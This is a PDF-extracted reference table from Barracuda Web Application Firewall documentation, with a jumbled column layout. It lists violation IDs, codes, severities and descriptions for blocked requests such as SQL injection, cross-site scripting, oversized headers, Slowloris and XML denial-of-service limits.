122 Malformed Header MALFORMED_HEA A header name did Alert Protocol Violations
DER_LINE not conform to the
HTTP protocol
specifications.
128 Malformed MALFORMED_PAR Normalizing and Alert Protocol Violations

Parameter AM parsing the name or
value of a parameter
in a query or POST
body revealed the
request contained a
malformed
parameter.
119 Malformed Version MALFORMED_VER An HTTP request Alert Protocol Violations

SION sent with a protocol
version number
other than 0.9, 1.0 or
1.1 was detected.
127 Multiple Content MULTIPLE_CONTE An HTTP request Alert Protocol Violations

Length NT_LENGTH contained more than
one Content-Length
HTTP request
header.
25 Post Without POST_WITHOUT_C A POST request Alert Protocol Violation

Content Length ONTENT_LENGTH lacked the
mandatory
Content-Length
HTTP request
header.
60 Pre-1.0 Request PRE_1_0_REQUES An HTTP request Alert Protocol Violations

T lacked a protocol
version number,
indicating it was an
HTTP/0.9 request.
Request Policy Violations

Export Logs
141 Cookie Count COOKIE_COUNT_E A request exceeded Alert Limits Violation

Exceeded XCEEDED the maximum
number of cookies
specified in Max
Number of Cookies
on the SECURITY
POLICIES >
Request Limits pag
e.
32 Cookie Expired COOKIE_EXPIRED A session cookie Co Warning Session Tamper

okie Max Age on Attacks
the SECURITY
POLICIES > Cookie
Security page has
been exceeded on
the client browser.

41 Cookie Length COOKIE_LENGTH_ A cookie exceeded Alert Limits Violation

Exceeded EXCEEDED the maximum
allowable length
specified in Max
Cookie Value
Length on the SEC
URITY POLICIES >
Request Limits pag
e.
142 Cookie Name COOKIE_NAME_LE A cookie name Alert Limits Violation

Length Exceeded NGTH_EXCEEDED length exceeded the
maximum allowable
length specified in M
ax Cookie Name
Length on the SEC
URITY POLICIES >
Request Limits pag
e.
31 Cookie Tampered COOKIE_TAMPERE A request cookie Warning Session Tamper

D secured with cookie Attacks
signing or encryption
had been tampered.
The cookie Tamper
Proof Mode on the
SECURITY
POLICIES > Cookie
Security page was
Encrypted or Signe
d.
44 Header Count HEADER_COUNT_ The number of Alert Limits Violation

Exceeded EXCEEDED request headers
exceeded the
maximum allowed,
specified in Max
Number of Headers
on the SECURITY
POLICIES >
Request Limits pag
e.
143 Header Name HEADER_NAME_L The length of the Alert Limits Violation
Length Exceeded ENGTH_EXCEEDE request header
D name exceeded the
maximum allowed,
specified in Max
Header Name
Length on the SEC
URITY POLICIES >
Request Limits pag
e.
6 Header Value HEADER_VALUE_L The request header Alert Limits Violation

Length Exceeded ENGTH_EXCEEDE value length
D exceeded the
maximum allowed,
specified in Max
Header Value
Length on the SEC
URITY POLICIES >
Request Limits pag
e.

11 Invalid URL INVALID_URL_ENC The characters Alert Injection Attacks

Encoding ODING encoded in the URL
do not conform to
the URL encoding
scheme specified in
Default Character
Set on the SECURIT
Y POLICIES > URL
Normalization page
.
116 Mismatched COOKIE_REPLAY_ The embedded and Warning Session Tamper

Header Cookie MISMATCHED_HE signed cookie Attacks
Replay Attack ADER header value sent to
the client does not
match the incoming
value in a
subsequent client
request. Cookie
Replay Protection
Type is set to "Custo
m Headers" or "IP
and Custom
Headers" on the SE
CURITY POLICIES
> Cookie Security p
age to detect this
attack.
117 Mismatched IP COOKIE_REPLAY_ The cookie IP Warning Session Tamper

Cookie Replay MISMATCHED_IP address information Attacks
Attack does not match the
source IP address of
the incoming client
request. Cookie
Replay Protection
Type is set to “IP” or
“IP and Custom
Headers” on the SE
CURITY POLICIES
> Cookie Security p
age to detect this
attack.
14 Slash-dot in URL SLASH_DOT_IN_U Requested URL Alert Forceful Browsing

Path RL contained a slash (/)
followed by a dot (.).
This is a potential
hidden file
disclosure attack.
15 Tilde in URL Path TILDE_IN_URL Requested URL Alert Forceful Browsing

contained a tilde (~).
This is a potential
hidden file
disclosure attack.
144 Too Many TOO_MANY_SESSI Client attempted to Alert DDOS Attacks

Sessions for IP ONS_FOR_IP exceed New
Session Count max
imum set under Ses
sion Tracking on
the WEBSITES >
Advanced Security
page.

0 Request Length REQUEST_LENGT The request Alert Limits Violation

Exceeded H_EXCEEDED exceeded the total
maximum allowable
length (including the
Request Line, and
all HTTP request
headers such as
User Agent,
Cookies, Referer,
etc.) specified in Ma
x Request Length o
n the SECURITY
POLICIES >
Request Limits pag
e.
140 Total Request Line REQUEST_LINE_L The request line Alert Limits Violation
Length Exceeded ENGTH_EXCEEDE exceeded the
D maximum allowable
ax Request Line
Length on the SEC
URITY POLICIES >
Request Limits pag
e.
30 Unrecognized UNRECOGNIZED_ The incoming Warning Session Tamper

Cookie COOKIE request cookie was Attacks
unrecognized. Allow
Unrecognized
Cookies is set to Ne
ver or Custom on
the SECURITY
POLICIES > Cookie
Security page.
Unrecognized
cookies are cookies
not encrypted by the
Barracuda Web
42 URL Length URL_LENGTH_EXC The URL in the Alert Limits Violation

Exceeded EEDED request exceeded
the maximum
allowable URL
ax URL Length on
the SECURITY
POLICIES >
Request Limits pag
e.
43 Query Length QUERY_LENGTH_ The length of the Alert Limits Violation

Exceeded EXCEEDED query string portion
of the URL
exceeded the
maximum allowable
ax Query Length on
the SECURITY
POLICIES >
Request Limits pag
e.
Response Violations


Export Logs
300 CAPTCHA DDOS_CAPTCHA_ The Response Information Outbound Attacks

Validation SEND_CAPTCHA Page from the SEC
Required URITY POLICIES >
Action Policy page
was sent to the
client because the
back-end server was
not reached.
62 Custom Error CUSTOM_ERR_RE The custom error Re Alert Other Attacks

Response Page SPONSE_PAGE sponse Page from
the SECURITY
POLICIES > Action
Policy page was
sent to the client
because the
back-end server was
not reached.
17 Error Response ERROR_RESPONS The response from Notice Outbound Attacks

Suppressed E_SUPPRESSED the back-end server
contained a 4xx or
5xx response code
and was blocked.
The Suppress
Return Code is set
to Yes on the SECU
RITY POLICIES >
Cloaking page.
63 Identity Theft IDENTITY_THEFT_ The response body Error Outbound Attacks

Pattern Matched PATTERN_MATCH (contents) from the
ED back-end server
matched an identity
theft pattern on the
ADVANCED >
Libraries page.
61 Response Header RESPONSE_HEAD Response header Information Outbound Attacks

Suppressed ER_SUPPRESSED suppressed as it
matched Headers to
Filter on the SECUR
ITY POLICIES >
Cloaking page.
Header Violations

Export Logs
331 Apache Struts APACHE_STRUTS_ Header value Alert Injection Attacks

Attack in Header ATTACKS_MEDIUM matched an Apache
_IN_HEADER Struts attack pattern
defined under Attac
k Types on the ADV
ANCED > View
Internal Patterns pa
ge.

37 Cross-Site CROSS_SITE_SCRI Header value Alert XSS Injections

Scripting in Header PTING_IN_HEADE matched a
R Cross-Site Scripting
pattern defined
under Attack Types
on the ADVANCED
> View Internal
Patterns page.
35 Custom Attack CUSTOM_ATTACK Header value Alert Other Attacks

Pattern in Header _PATTERN_IN_HE matched a custom
ADER attack pattern
defined under Attac
k Types on the ADV
ANCED > Libraries
page.
39 Directory Traversal DIRECTORY_TRAV Header value Alert Injection Attacks

in Header ERSAL_IN_HEADE matched a Directory
R Traversal pattern
defined under Attac
k Types on the ADV
ANCED > View
ge.
330 HTTP Specific HTTP_SPECIFIC_A Header value Alert Injection Attacks

Attack in Header TTACKS_MEDIUM_ matched an HTTP
IN_HEADER specific attack
pattern defined
under Attack Types
on the ADVANCED
> View Internal
Patterns page.
328 LDAP Injection in LDAP_INJECTION_ Header value Alert Injection Attacks

Header MEDIUM_IN_HEAD matched an LDAP
ER Injection attack
pattern defined
under Attack Types
on the ADVANCED
> View Internal
Patterns page.
7 Metacharacter HEADER_META_VI Metacharacter in Alert Other Attacks

Matched in Header OLATION header matched the
Denied
Metacharacters
defined under Head
er: Allow/Deny
Rules on the WEBS
ITES > Allow/Deny
page.
38 OS Command OS_CMD_INJECTI Header value Alert Injection Attacks

Injection in Header ON_IN_HEADER matched an OS
Command injection
pattern defined
under Attack Types
on the ADVANCED
> View Internal
Patterns page.

329 Python PHP Attack PYTHON_PHP_ATT Header value Alert Injection Attacks
in Header ACKS_MEDIUM_IN matched a Python
_HEADER PHP attack pattern
defined under Attac
k Types on the ADV
ANCED > View
ge.
36 SQL Injection in SQL_INJECTION_I Header value Alert SQL Attacks

Header N_HEADER matched an SQL
injection pattern
defined under Attac
k Types on the ADV
ANCED > View
ge.
Application Profile Violations

Export Logs
130 No Domain Match NO_DOMAIN_MAT The domain attribute Alert Forceful Browsing
in Profile CH_IN_PROFILE of session cookie
does not match the
attribute specified on
the WEBSITES >
Website Profiles pa
ge. This is enforced
when Strict Profile
Check and URL
Profile is set to Yes.
131 No URL Profile NO_URL_PROFILE The request does Alert Forceful Browsing
Match _MATCH not match any of the
configured URL
Profiles on the WEB
SITES > Website
Profiles page. This
is enforced when Str
ict Profile Check an
d URL Profile is set
to Yes.
URL Profile Violations

Export Logs
327 Apache Struts APACHE_STRUTS_ The value in a URL Alert Injection Attacks
Attack in URL ATTACKS_MEDIUM matched an Apache
_IN_URL Struts attack pattern
defined under Attac
k Types on the ADV
ANCED > View
ge.

40 Content Length CONTENT_LENGT The request body Alert Limits Violation

Exceeded H_EXCEEDED content exceeded
the maximum
allowable length
defined in the URL
Profile for the URL
space. Max Content
Length specified on:
SECURITY
POLICIES >
URL
Protection,
OR
WEBSITES >
Website
Profiles > URL
Profiles
Enforced when
Use Profile is
set to Yes and
URL Profile
created.
167 Cross-Site CROSS_SITE_SCRI The value in a URL Alert XSS Injections

Scripting in URL PTING_IN_URL matched a
Cross-Site Scripting
pattern defined
under Attack Types
on the ADVANCED
> View Internal
Patterns page.
171 Custom Attack CUSTOM_ATTACK The value in a URL Alert Other Attacks
Pattern in URL _PATTERN_IN_UR matched a custom
L attack pattern
defined under Attac
k Types on the ADV
ANCED > Libraries
page.
326 HTTP Specific HTTP_SPECIFIC_A The value in a URL Alert Injection Attacks
Attack in URL TTACKS_MEDIUM_ matched an HTTP
IN_URL specific attack
pattern defined
under Attack Types
on the ADVANCED
> View Internal
Patterns page.
324 LDAP Injection in LDAP_INJECTION_ The value in a URL Alert Injection Attacks
URL MEDIUM_IN_URL matched an LDAP
Injection attack
pattern defined
under Attack Types
on the ADVANCED
> View Internal
Patterns page.

5 Method Not METHOD_NOT_AL The HTTP method in Alert Forceful Browsing

Allowed LOWED the request is denied
as it is not
configured in the All
owed Method list
under URL Profile o
n the WEBSITES >
Website Profiles pa
ge.
163 No Param Profile NO_PARAM_PROFI The request failed to Alert Forceful Browsing
Match LE_MATCH match the
configured
parameter profiles
on the WEBSITES >
Website Profiles pa
ge for this URL
space.
168 OS Command OS_CMD_INJECTI The URL matched Alert Injection Attacks

Injection in URL ON_IN_URL an OS command
injection pattern
defined under Attac
k Types on the ADV
ANCED > View
ge.
147 Parameter Name PARAM_NAME_LE The length of the Alert Other Attacks
Length Exceeded NGTH_EXCEEDED parameter in the
request exceeds the
maximum allowable
length defined either
on SECURITY
POLICIES > URL
Protection or WEB
SITES > Website
Profiles > URL
Profiles (Only when
Use Profile is set to
Yes and URL
Profile created).
325 Python PHP Attack PYTHON_PHP_ATT The value in a URL Alert Injection Attacks
in URL ACKS_MEDIUM_IN matched a Python
_URL PHP attack pattern
defined under Attac
k Types on the ADV
ANCED > View
ge.
132 Query String not QUERY_STR_NOT Request blocked Alert Forceful Browsing
Allowed _ALLOWED because a query
string was detected
in the URL. Enforced
when query strings
disallowed on WEB
SITES > Website
Profile > URL
Profiles.

170 Remote File REMOTE_FILE_INC The URL matched a Alert Injection Attacks
Inclusion in URL LUSION_IN_URL Remote File
Inclusion pattern
defined under Attac
k Types on the ADV
ANCED > View
ge.
161 Session not Found SESSION_NOT_FO The Barracuda Web Alert Forceful Browsing
UND Application Firewall
maintains a session
for every form and
URL fetched by the
client when CSRF is
enabled. If the
request does not
have the valid
session token
embedded in it, the
Barracuda Web
Application Firewall
logs it as session not
found.
166 SQL Injection in SQL_INJECTION_I The URL matched Alert SQL Attacks
URL N_URL an SQL injection
pattern defined
under Attack Types
on the ADVANCED
> View Internal
Patterns page.
149 Too Many TOO_MANY_PARA The parameters in a Alert DDOS Attacks

Parameters MS GET query string
and/or in the request
body in a POST
request exceeded M
AX Parameters on
the SECURITY
POLICIES > URL
Protection page.
148 Too Many TOO_MANY_UPLO The request Alert DDOS Attacks

Uploaded Files ADED_FILES exceeds the
maximum number of
form parameters that
can be of file-upload
type. Max Upload
Files specified on:
SECURITY
POLICIES >
URL
Protection exc
eeded,
OR
WEBSITES >
Website
Profiles > URL
Profiles exceed
ed. This is only
when Use
Profile is set to
Yes and URL
Profile created.

26 Unknown Content UNKNOWN_CONT The content type in Alert Injection Attacks

Type ENT_TYPE the POST body of
the URL does not
match any Allowed
Content Types und
er URL Profile on
the WEBSITES >
Website Profiles pa
ge.
Parameter Profile Violations

Export Logs
323 Apache Struts APACHE_STRUTS_ The parameter Alert Injection Attacks

Attack in ATTACKS_MEDIUM matched an Apache
Parameter _IN_PARAM Struts attack pattern
in the associated Pa
rameter Class of
the parameter profile
on the WEBSITES >
Website Profiles pa
ge, or in the SECUR
ITY POLICIES >
Parameter
Protection page (if
no parameter
profile).
165 Cross-Site Request CROSS_SITE_REQ The state parameter Alert Forceful Browsing
Forgery UEST_FORGERY 'ncforminfo' was not
found or was found
tampered in the form
that matched the
URL profile.
158 Cross-Site CROSS_SITE_SCRI The parameter Alert XSS Injections

Scripting in PTING_IN_PARAM matched a cross-site
Parameter scripting attack
pattern in the
associated Paramet
er Class of the
parameter profile on
the WEBSITES >
Website Profiles pa
ge, or in the SECUR
ITY POLICIES >
Parameter
Protection page (if
no parameter
profile).

155 Custom Attack CUSTOM_ATTACK The parameter Alert Other Attacks

Pattern in _PATTERN_IN_PA matched a custom
Parameter RAM attack pattern in the
associated Paramet
er Class of the
the WEBSITES >
Website Profiles pa
ge or in the SECURI
TY POLICIES >
Parameter
Protection page (if
no parameter
profile).
160 Directory Traversal DIRECTORY_TRAV The parameter Alert Injection Attacks

in Parameter ERSAL_IN_PARAM matched a directory
traversal pattern in
the associated Para
meter Class of the
the WEBSITES >
Website Profiles pa
ge or in the SECURI
TY POLICIES >
Parameter
Protection page (if
no parameter
profile).
151 File Upload Size FILE_UPLOAD_SIZ The uploaded file in Alert DDOS Attacks
Exceeded E_EXCEEDED the request exceeds
the Maximum
Upload File Size on
the SECURITY
POLICIES >
Parameter
Protection page.
150 Forbidden File FILE_EXTENSION_ The extension of the Alert Injection Attacks
Extension NOT_ALLOWED uploaded file does
not match any
configured extension
in File Upload
Extensions on the:
SECURITY
POLICIES >
Parameter
Protection pag
e,
or
WEBSITES >
Website
Profiles >
Parameter
Profile section.

296 Forbidden File FILE_MIME_TYPE_ The extension of the Alert File Attacks
Mime Type NOT_ALLOWED uploaded file does
not match any
configured extension
in File Upload Mime
Types on the:
SECURITY
POLICIES >
Parameter
Protection pag
e,
or
WEBSITES >
Website
Profiles >
Parameter
Profile section.
322 HTTP Specific HTTP_SPECIFIC_A The parameter Alert Injection Attacks

Attack in TTACKS_MEDIUM_ matched an HTTP
Parameter IN_PARAM specific attack
pattern in the
associated Paramet
er Class of the
the WEBSITES >
Website Profiles pa
ge, or on the SECU
RITY POLICIES >
Parameter
Protection page (if
no parameter
profile).
320 LDAP Injection in LDAP_INJECTION_ The parameter Alert Injection Attacks

Parameter MEDIUM_IN_PARA matched an LDAP
M Injection attack
pattern in the
associated Paramet
er Class of the
the WEBSITES >
Website Profiles pa
ge, or on the SECU
RITY POLICIES >
Parameter
Protection page (if
no parameter
profile).
138 Mandatory MISSING_MANDAT The URL request Alert Injection Attacks

Parameter Missing ORY_PARAM lacks a required
parameter. The
Parameter profile
associated with the
URL profile has Req
uired set to Yes
under Parameter
Profiles on the WE
BSITES > Website
Profiles page.

137 Maximum TOO_MANY_PARA The instances of a Alert DDOS Attacks

Instances of M_INSTANCES parameter exceeds
Parameter Maximum
Exceeded Instances on the:
SECURITY
POLICIES >
Parameter
Protection pag
e,
or
WEBSITES >
Website
Profiles >
Parameter
Profile section.
152 Metacharacter in METACHARACTER The parameter Alert Other Attacks

Parameter _IN_PARAMETER contained a
metacharacter that
matched an attack
pattern in the Param
eter Class associate
d with the Parameter
profile on the WEBS
ITES > Website
Profiles page, or on
the SECURITY
POLICIES >
Parameter
Protection page (if
no parameter
profile).
159 OS Command OS_CMD_INJECTI The parameter Alert Injection Attacks

Injection in ON_IN_PARAM contained an OS
Parameter command injection
pattern that matched
an attack pattern in
the Parameter
Class associated
with the Parameter
profile on the WEBS
ITES > Website
Profiles page, or on
the SECURITY
POLICIES >
Parameter
Protection page (if
no parameter
profile).
156 Parameter Input PARAM_INPUT_VA The parameter failed Alert Injection Attacks
Validation Failed LIDATION_FAILED to match input type
validation configured
under Parameter
Profiles on the WE
BSITES > Website
Profiles page.

154 Parameter Length PARAM_LENGTH_ The parameter value Alert Limits Violation
Exceeded EXCEEDED in the request
exceeded the Maxi
mum Parameter
Value Length on
the:
SECURITY
POLICIES >
Parameter
Protection pag
e,
or
WEBSITES >
Website
Profiles >
Parameter
Profile section.
139 Parameter Value PARAM_VAL_NOT_ The Global Choice Alert Injection Attacks
not Allowed ALLOWED parameter did not
match values
configured under Pa
rameter Profiles on
the WEBSITES >
Website Profiles pa
ge.
321 Python PHP Attack PYTHON_PHP_ATT The parameter Alert Injection Attacks
in Parameter ACKS_MEDIUM_IN matched a Python
_PARAM PHP attack pattern
in the associated Pa
rameter Class of
the parameter profile
on the WEBSITES >
Website Profiles pa
ge, or on the SECU
RITY POLICIES >
Parameter
Protection page (if
no parameter
profile).
134 Read-Only or READ_ONLY_PAR The read-only Alert Injection Attacks

Hidden Parameter AM_TAMPERED parameter did not
Tampered match the value
learned by the
Barracuda Web
based on the form
sent to the browser.

164 Remote File REMOTE_FILE_INC The parameter Alert Injection Attacks

Inclusion LUSION contained a remote
file inclusion pattern
that matched an
attack pattern in the
Parameter Class as
sociated with the
Parameter profile on
the WEBSITES >
Website Profiles pa
ge, or on the SECU
RITY POLICIES >
Parameter
Protection page (if
no parameter
profile).
136 Session Choice SESSION_CHOICE The session choice Alert Session Tamper
Parameter _PARAM_TAMPER parameter did not Attacks
Tampered ED match the value
learned by the
Barracuda Web
based on the form
sent to the browser
for this session.
162 Session Context SESSION_CONTEX The session Alert Forceful Browsing

not Found T_NOT_FOUND parameter
(parameter
type=read-only,
session-choice or
session-invariant)
value does not
match the learned
value in the
parameter profile,
indicating possible
tampering with the
session parameter
value.
135 Session Invariant SESSION_INVARIA The Alert Session Tamper

Parameter NT_PARAM_TAMP session-invariant Attacks
Tampered ERED parameter did not
match the value
learned by
Barracuda Web
based on the form
sent to the browser
for this session.
157 SQL Injection in SQL_INJECTION_I The parameter Alert SQL Attacks

Parameter N_PARAM matched an SQL
injection pattern in
the Parameter
Class associated
with the Parameter
profile on the WEBS
ITES > Website
Profiles page.
Advanced Policy Violations


Export Logs
146 Brute force from BRUTE_FORCE_F Requests from all Alert DDOS Attacks
All Sources ROM_ALL_SOURC sources are blocked
ES when Max
Allowed Accesses
From All Sources
is exceeded in the C
ount Window under
Edit Bruteforce
Prevention on the
WEBSITES >
Advanced Security
page.
145 Brute force from IP BRUTE_FORCE_F Requests from a Alert DDOS Attacks
ROM_IP particular IP address
are blocked when
Max Allowed
Accesses Per IP i
s exceeded in the C
ount Window under
Edit Bruteforce
Prevention on the
WEBSITES >
Advanced Security
page.
299 Unanswered DDOS_CAPTCHA_ The number of client Alert DDOS Attacks

CAPTCHA Limit MAX_UNANSWERE attempts to fetch the
Exceeded D_EXCEEDED CAPTCHA image
exceeded Max
Unanswered
CAPTCHA on the W
EBSITES > DDoS
Prevention page.
297 CAPTCHA Attempt DDOS_CAPTCHA_ The number of client Alert DDOS Attacks
Limit Exceeded TRIES_EXCEEDED attempts to solve a
CAPTCHA
challenge exceeded
Max CAPTCHA
Attempts on the WE
BSITES > DDoS
Prevention page.

298 CAPTCHA Session DDOS_CAPTCHA_ The client request IP Alert DDOS Attacks
Limit Exceeded MAX_NODES_EXC address has
EEDED exceeded the
CAPTCHA session
limit.
For a CAPTCHA
enabled service, the
client must answer a
CAPTCHA
challenge before
accessing the
service. Each
CAPTCHA
challenge sent to the
client, is maintained
in a session table for
that client (based on
the IP address). The
CAPTCHA Session
Limit for an IP
address is 512 (hard
coded limit). If the
client attempts to
append more than
512 sessions
(concurrent
CAPTCHA
answered sessions),
the request is denied
with an error
"CAPTCHA-Max-Se
ssions-Exceeded".
If multiple clients
access the
CAPTCHA protected
service from the
same network, or if
there is a device
doing Source NAT in
front of the
Barracuda Web
and more than 512
clients accessing the
service, the 513th
client may see the
“CAPTCHA Session
Limit Exceeded”
error. Client access
could be granted
when an existing
session expires (by
an idle time).

12 Invalid URL INVALID_URL_CHA Request contained Warning Injection Attacks

Character Set RSET invalid character for
configured character
set. The relevant
character set is
determined using
several configuration
elements like Default
Character Set,
Detect Response
Charset and
Response Charset.
75 Rate Control RATE_CONTROL_I The rate of requests Alert DDOS Attacks

Intrusion NTRUSION exceeds Maximum
Active Requests an
d Maximum Per
Client Backlog of
the rate control pool
associated with the
Service.
293 Secure Browsing SECURE_BROWSI Unable to validate Alert Forceful Browsing

NG session key in a
request matching
the URL specified in
Secure Browsing
policies.
295 Slowloris Attack SLOWLORIS_ATTA Slowloris attack Alert DDOS Attacks

CK detected. Request
exceeded Max
Request Timeout a
nd Incremental
Request Timeout fo
r the Service under
Slow Client
Prevention on the
WEBSITES > DDoS
Prevention page.
302 Slowloris SLOWLORIS_RESP Slowloris response Alert DDOS Attacks

Response Attack ONSE_ATTACK attack detected.
Response exceeded
Max Response
Timeout and Incre
mental Response
Timeout for the
Service under Slow
Client Prevention o
n the WEBSITES >
DDoS Prevention p
age.
301 URL Encryption URL_ENCRYPTION Request violated the Alert Forceful Browsing
URL encryption
policy configured in
the WEBSITES >
URL Encryption pa
ge.

204 Virus Found VIRUS_IN_POST_R Virus detected in Alert File Attacks

EQUEST uploaded file. All
files uploaded
through
multipart/form-data
messages are
scanned for viruses.
Requests containing
virus signatures are
denied when Enable
Virus Scan is set to
Yes under Advance
d Security on the W
EBSITES >
Advanced Security
page.
XML Firewall DoS Violations

Export Logs
185 DTD Found XDOS_DTD An XML service Alert XML Violations

rejected a SOAP
message containing
Document Type
Definition (DTD),
which is NOT
allowed by the
SOAP standard.
Block DTDs is
set to Yes on the W
EBSITES > XML
Protection > XML
Validation Settings
section.
187 External URI XDOS_EXT_ENTIT Request contains Alert XML Violations

Reference Found Y external entities
including external
URI references or
external DTDs. Bloc
k External Entities i
s set to Yes on the
WEBSITES > XML
Protection > XML
Validation Settings
section.
188 Malformed XML XDOS_MALFORME An XML parser Alert XML Violations

D detected a
malformed XML
document. A
malformed XML
document contains
illegal characters,
mismatched element
tags (a starting tag
with no matching
ending tag) or
trailing content after
the document
element.

178 Max Attribute XDOS_MAX_ATTRI The XML document Alert XML Violations
Name Length BUTE_NAME_LEN exceeds the
Exceeded GTH maximum attribute
name length limit
specified in the WEB
SITES > XML
Protection > XML
Validation Settings
section.
179 Max Attribute XDOS_MAX_ATTRI The XML document Alert XML Violations
Value Length BUTE_VALUE_LEN exceeds the
Exceeded GTH maximum attribute
value length limit
SITES > XML
Protection > XML
Validation Settings
section.
182 Max Document XDOS_MAX_FILE_ The XML document Alert XML Violations
Size Exceeded SIZE exceeds the
maximum document
size limit specified in
the WEBSITES >
XML Protection >
XML Validation
Settings section.
177 Max Element XDOS_MAX_ATTRI The XML document Alert XML Violations
Attributes BUTES exceeds the
Exceeded maximum allowable
attributes of an
element specified in
the WEBSITES >
XML Protection >
XML Validation
Settings section.
184 Max Element XDOS_MAX_ELEM The XML document Alert XML Violations
Children Exceeded ENT_CHILDREN exceeds the
maximum allowable
children per node in
a tree specified in
the WEBSITES >
XML Protection >
XML Validation
Settings section.
175 Max Element Name XDOS_MAX_ELEM The XML document Alert XML Violations
Length Exceeded ENT_NAME_LENG exceeds the
TH maximum allowable
length for the name
of an element
SITES > XML
Protection > XML
Validation Settings
section.

176 Max Elements in XDOS_MAX_ELEM The XML document Alert XML Violations
Tree Exceeded ENTS exceeds the
maximum allowable
number of
nodes/elements in a
tree specified in the
WEBSITES > XML
Protection > XML
Validation Settings
section.
181 Max Text Size XDOS_CDATA_LEN The XML document Alert XML Violations
Exceeded GTH exceeds the
maximum allowable
size of the XML
document.
174 Max Tree Depth XDOS_MAX_ELEM The XML document Alert XML Violations
Exceeded ENT_DEPTH exceeds the
maximum allowable
nesting depths of
nodes specified in
the WEBSITES >
XML Protection >
XML Validation
Settings section.
183 Min Document Size XDOS_MIN_FILE_S The XML document Alert XML Violations
Limit IZE exceeds the
minimum allowable
size of the XML
document specified
in the WEBSITES >
XML Protection >
XML Validation
Settings section.
186 Processing XDOS_PI Request contains Alert XML Violations

Instructions Found Processing
Instructions (PIs). A
PI is a text data
section ignored by
the XML parser and
passed on as
instructions to
applications. Block
Processing Instructi
ons is set to Yes on
the WEBSITES >
XML Protection >
XML Validation
Settings section.
XML Firewall WSI Assertions

Export Logs

211 DOCTYPE Element XML_WSI1007 The SOAP message Alert XML Violations
contains a
DOCTYPE element
in the request. WSI1
007: Message
Should Not Include
SOAP:Header or
SOAP:Body
elements as
Defined in the
included DTD is set
to Yes on the WEBS
ITES > XML
Protection > WS-I
Basic Profile
Assertions section.
228 Message Contains XML_WSI1111 The SOAP message Alert XML Violations
a WS-I contains a WS-I
Conformance conformance claim
Claim with a with a
“SOAP:MustUnder “soap:mustUndersta
stand” Attribute nd” attribute. WSI11
11: WS-I
Conformance
Claims Should Not
Contain the
SOAP:MustUnderst
and Attribute is set
to Yes on the WEBS
ITES > XML
Protection > WS-I
Basic Profile
Assertions section.
227 WS-I Conformance XML_WSI1110 The SOAP message Alert XML Violations
Claim Does Not contains a WS-I
Adhere to the WS-I conformance claim
Conformance which fails to adhere
Claim Schema to the WS-I
conformance claim
schema. WSI1110:
WS-I Conformance
Claims Should
Adhere to the WS-I
Conformance
Claim Schema is
set to Yes on the W
EBSITES > XML
Protection > WS-I
Basic Profile
Assertions section.

226 Message Contains XML_WSI1109 The SOAP message Alert XML Violations
a WS-I contains a WS-I
Conformance conformance claim
Claim Which is Not which is not a child
a Child of the of the
“SOAP:Header” "SOAP:Header"
Element element.WSI1109:
WS-I Conformance
Claim Should be a
Child of the
SOAP:Header
Element is set to Ye
s on the WEBSITES
> XML Protection >
WS-I Basic Profile
Assertions section.
219 Attributes in SOAP XML_WSI1032 Message contains Alert XML Violations

Envelope Header attributes in the
Body envelope, header
and body portion of
the data. WSI1032:
SOAP:Envelope,
SOAP:Header and
SOAP:Body
Elements Should
Not Have
Attributes in
Namespace is set to
Yes on the WEBSIT
ES > XML
Protection > WS-I
Basic Profile
Assertions section.
240 EncodingStyle in XML_WSI1307 Message contains Alert XML Violations

Envelope "soap:encodingStyle
Namespace " attributes on any
Elements elements whose
namespace is
http://schemas.xmls
oap.org/soap/envelo
pe/. WSI1307: SOA
P:Envelope
Namespace
Elements Should
Not Have the
SOAP:EncodingSty
le Attribute is set to
Yes on the WEBSIT
ES > XML
Protection > WS-I
Basic Profile
Assertions section.

244 EncodingStyle XML_WSI1318 The message in an Alert XML Violations

Attribute Found in rpc-literal binding
Grandchild of contains
SOAP Body "soap:encodingStyle
" attribute on an
element that is a
grandchild of
“soap:body”. WSI13
18: Grandchildren
of SOAP:Body
Should Not Have
the
SOAP:EncodingSty
Yes on the WEBSIT
ES > XML
Protection > WS-I
Basic Profile
Assertions section.
220 Envelope XML_WSI1033 The message with Alert XML Violations

Namespace is 1998 an envelope
contains the
namespace
declaration xmlns:x
ml=http://www.w3.or
g/XML/1998/namesp
ace. WSI1033: SO
AP:Envelope
Namespace Should
Not be 1998 is set
to Yes on the WEBS
ITES > XML
Protection > WS-I
Basic Profile
Assertions section.
245 SOAP:Envelope or XML_WSI1601 The message with Alert XML Violations

SOAP:Body Does "soap:envelope" or
Not Conform to "soap:body" does
XML 1.0 not conform to XML
1.0. WSI1601: SOA
P:Envelope and
SOAP:Body
Should Conform to
XML 1.0 is set to Ye
s on the WEBSITES
> XML Protection >
WS-I Basic Profile
Assertions section.
246 Envelope Does Not XML_WSI1701 The message whose Alert XML Violations
Conform to SOAP "soap:envelope"
Schema does not conform to
the SOAP schema.
WSI1701: SOAP:En
velope Should
Conform to the
SOAP Schema is
set to Yes on the W
EBSITES > XML
Protection > WS-I
Basic Profile
Assertions section.

242 SOAP:Envelope XML_WSI1309 The message Alert XML Violations

Has a Direct Child contains element
After the children of
"SOAP:Body" "soap:Envelope"
Element following the
"soap:Body"
element. WSI1309:
SOAP:Envelope
Should Not Have
Direct Children
After the
SOAP:Body
Element is set to Ye
s on the WEBSITES
> XML Protection >
WS-I Basic Profile
Assertions section.
225 Message Contains XML_WSI1107 A fault detected in Alert XML Violations

Undefined the message which
“SOAPBind:Fault” is not defined in
Element(s) wsdl:binding. A
wsdl:binding should
contain a
"soapbind:fault"
describing each
known fault. WSI110
7: Fault Response
Should be Defined
in WSDL:Binding is
set to Yes on the W
EBSITES > XML
Protection > WS-I
Basic Profile
Assertions section.
218 SOAP 1.1 Dot XML_WSI1031 The message Alert XML Violations
Notation is Used contains a faultcode
By the element with dot (.)
“SOAP:Fault” notation. WSI1031:
Element SOAP:Fault
Element Should
Not Use SOAP 1.1
Dot Notation is set
to Yes on the WEBS
ITES > XML
Protection > WS-I
Basic Profile
Assertions section.
221 Good Response is XML_WSI1100 The SOAP message Alert XML Violations
Not Using HTTP does not contain
200 OK soap:Fault and does
not use 200 OK
HTTP Status code
for responses. WSI1
100: Good
Response Uses
HTTP 200 OK
Status is set to Yes
on the WEBSITES >
XML Protection >
WS-I Basic Profile
Assertions section.

206 Message is Not XML_WSI1002 Message not sent Alert XML Violations
Sent Using using HTTP version
HTTP1.0 or 1.0 or 1.1. WSI1002:
HTTP1.1 Message Should
be Sent using
HTTP 1.1 or HTTP
1.0 is set to Yes on
the WEBSITES > X
ML Protection >
WS-I Basic Profile
Assertions section.
